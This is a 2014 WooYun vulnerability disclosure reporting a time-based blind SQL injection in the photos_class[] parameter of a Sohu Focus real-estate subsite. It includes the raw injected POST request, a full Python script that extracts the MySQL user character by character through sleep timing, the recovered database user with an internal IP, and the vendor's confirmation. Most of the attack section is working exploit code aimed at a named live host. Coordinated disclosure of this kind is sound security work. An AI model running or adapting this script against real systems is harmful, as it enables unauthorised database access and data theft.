当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081733

漏洞标题:焦点房产分站MySQL盲注[2] (附猜解python脚本)

相关厂商:搜狐

漏洞作者: lijiejie

提交时间:2014-11-02 16:40

修复时间:2014-12-17 16:42

公开时间:2014-12-17 16:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-02: 细节已通知厂商并且等待厂商处理中
2014-11-03: 厂商已经确认,细节仅向厂商公开
2014-11-13: 细节向核心白帽子及相关领域专家公开
2014-11-23: 细节向普通白帽子公开
2014-12-03: 细节向实习白帽子公开
2014-12-17: 细节向公众公开

简要描述:

焦点房产另一分站MySQL盲注 (附猜解python脚本)
忘提到,上一个漏洞中提到的MySQL注入,在焦点好几个站点中均存在,需要复查的。

详细说明:

注入点位于:

POST /group/editphoto2.php HTTP/1.1
Content-Length: 238
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://officemsg.focus.cn
Cookie: PHPSESSID=h5nt1tb8ifiil0s2pk8fadf830; city_check_inc=131072; city_check_domain=office.focus.cn
Host: officemsg.focus.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
album_id=0&description=1&group_id=0&photoname=DSC00887&photos_class%5b%5d=111'XOR(if(ascii(mid(lower(user()),1,1))!=123%2csleep(10)%2c0))OR'bbb&photo_ext=JPG&photo_id=610778


参数photos_class[]可注入,MySQL time blind。

漏洞证明:

猜解user,得到:
fdbuser@192.168.44.179

focus_2.png


Python脚本附上:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import hashlib
import urllib
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
'Referer': 'http://officemsg.focus.cn',
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print '[%s] Start to retrive MySQL User' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 25):
found=False
while found==False:
for payload in payloads:
timeout_count = 0
for j in range(1,3): # 2 times to confirm
try:
params = {
'album_id': 0,
'description': 1,
'group_id': 0,
'photoname': 'DSC00887',
'photo_ext': 'JPG',
'photo_id': 610778,
'photos_class[]': "111'XOR(if(ascii(mid(lower(user()),%s,1))=%s,sleep(3),0))OR'bbb" % (i, ord(payload))
}
body = urllib.urlencode(params)
conn = httplib.HTTPConnection('officemsg.focus.cn', timeout=3)
conn.request(method='POST',
url='/group/editphoto2.php',
body=body,
headers=headers)
conn.getresponse().read()
conn.close()
print '.',
break
except Exception, e:
timeout_count += 1
if timeout_count == 2:
user += payload
print '\n[In progress] now user is %s' % user
found = True
break

print '\nFinally, MySQL user is', user

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-11-03 00:20

厂商回复:

感谢支持。

最新状态:

暂无


漏洞评价:

评论